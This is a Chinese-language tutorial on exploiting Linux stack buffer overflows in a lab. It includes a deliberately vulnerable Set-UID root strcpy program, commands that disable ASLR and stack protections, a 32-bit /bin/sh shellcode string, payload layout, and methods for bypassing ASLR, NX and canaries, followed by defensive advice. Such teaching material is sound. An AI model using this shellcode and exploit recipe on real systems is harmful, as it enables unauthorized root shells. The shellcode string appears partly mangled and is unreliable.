Linux exploit如何利用缓冲区溢出
导读:Linux 缓冲区溢出利用的原理与步骤 一、原理与关键条件 当程序向固定长度的缓冲区写入超量数据时,会覆盖相邻内存,尤其是栈帧中的保存的返回地址 EIP/RIP。攻击者把 EIP/RIP 覆盖为指向恶意代码的地址,即可劫持执行流。 为让注...
Linux 缓冲区溢出利用的原理与步骤
一、原理与关键条件
- 当程序向固定长度的缓冲区写入超量数据时,会覆盖相邻内存,尤其是栈帧中的保存的返回地址 EIP/RIP。攻击者把 EIP/RIP 覆盖为指向恶意代码的地址,即可劫持执行流。
- 为让注入代码得以执行,常见条件是栈或堆具备可执行权限;现代系统默认启用多种防护:
- ASLR(地址空间随机化)使栈/库基址随机;
- NX/DEP(数据执行保护)使数据段不可执行;
- Stack Protector(栈金丝雀)检测栈破坏。
在受控实验环境中,常会临时关闭这些防护以观察利用过程。
二、典型利用流程
- 准备可控输入:让目标程序从文件、网络或环境变量读取数据,便于构造超长输入触发溢出。
- 关闭或弱化防护(仅限实验环境):
- 关闭 ASLR:
sudo sysctl -w kernel.randomize_va_space=0; - 使用不设 canary 的编译:
gcc -fno-stack-protector; - 允许栈可执行:
gcc -z execstack; - 为观察方便,32 位环境可用
linux32或安装 32 位支持库。
- 关闭 ASLR:
- 确定偏移量(覆盖到 EIP 的字节数):
- 用唯一字符串填充(如 Metasploit 的
pattern_create.rb/pattern_offset.rb)或逐步递增填充; - 触发崩溃后用调试器查看 EIP 被哪个字节覆盖,从而确定精确偏移。
- 用唯一字符串填充(如 Metasploit 的
- 获取跳转目标:
- 若栈可执行,将 EIP 指向注入的 shellcode(常用
NOP滑梯 + shellcode); - 若栈不可执行,采用跳板指令如
jmp esp/call esp或 ret2libc 跳转到已有可执行代码片段。
- 若栈可执行,将 EIP 指向注入的 shellcode(常用
- 注入并触发:将“填充 + 新 EIP + shellcode”写入输入源,运行程序获取交互式 shell;若目标是 Set-UID root 程序,且环境未做权限放弃(如
/bin/sh指向bash会放弃特权),则可能获得root shell。
三、最小示例与关键命令
- 漏洞程序(读取超量数据到栈缓冲区,存在 strcpy 溢出):
// stack.c
#include <
stdlib.h>
#include <
stdio.h>
#include <
string.h>
int bof(char *str) {
char buffer[12];
strcpy(buffer, str);
// 无边界检查
return 1;
}
int main(int argc, char **argv) {
char str[517];
FILE *badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
- 编译为 32 位、关闭保护与可执行栈,并设为 Set-UID root(实验用):
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386
gcc -m32 -g -fno-stack-protector -z execstack -o stack stack.c
sudo chown root:root stack
sudo chmod u+s stack
- 关闭 ASLR(实验用):
sudo sysctl -w kernel.randomize_va_space=0
- 生成偏移(示例思路):用
pattern_create.rb -l 517生成唯一串,发送后崩溃,用pattern_offset.rb -q < EIP>得到覆盖 EIP 的精确偏移;随后构造 payload:'A'*offset + '\x??\x??\x??\x??' + shellcode。常见 32 位 Linux/bin/shshellcode 示例(execve):
"\x31\xc0\x50\x68\"//sh\"\x68\"/bin\"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
- 触发:先运行生成 payload 的脚本生成
badfile,再运行./stack,若一切配合正确将获得 shell。
四、绕过防护的常见技术
- 绕过 ASLR:信息泄露(泄露 libc/栈地址)、partial overwrite、brute-force(本地场景)、或改用ret2libc/ROP 链(不依赖固定地址)。
- 绕过 NX/DEP:ret2libc、ROP(通过小片段 gadget 链构造系统调用或跳转到 libc 函数)、或利用可写且可执行的映射(如某些 JIT/内存页)。
- 绕过 Stack Protector:寻找未受 canary 保护的函数指针/返回地址覆盖点,或利用格式化字符串先泄露 canary 再溢出。
- 其他入口:堆溢出(覆盖函数指针/对象虚表)、函数指针覆盖、longjmp 缓冲区覆盖等。
五、防护要点与合规提示
- 开发侧:
- 用安全函数(
strncpy_s、snprintf等)替代危险函数(strcpy、gets、sprintf); - 启用编译器防护:默认开启 Stack Protector,必要时配合 FORTIFY_SOURCE;
- 开启 ASLR 与 PIE(位置无关可执行文件);
- 使栈/堆 不可执行(NX/DEP);
- 最小化Set-UID 使用,分离特权与非特权逻辑。
- 用安全函数(
- 运行侧:最小权限运行、及时打补丁、限制可写可执行内存、启用审计/监控(如 seccomp、LSM)。
- 合规提示:仅在授权的实验环境复现与学习,勿对未授权系统或数据进行测试或攻击,相关行为可能触犯法律并造成损害。
声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!
若转载请注明出处: Linux exploit如何利用缓冲区溢出
本文地址: https://pptw.com/jishu/763307.html
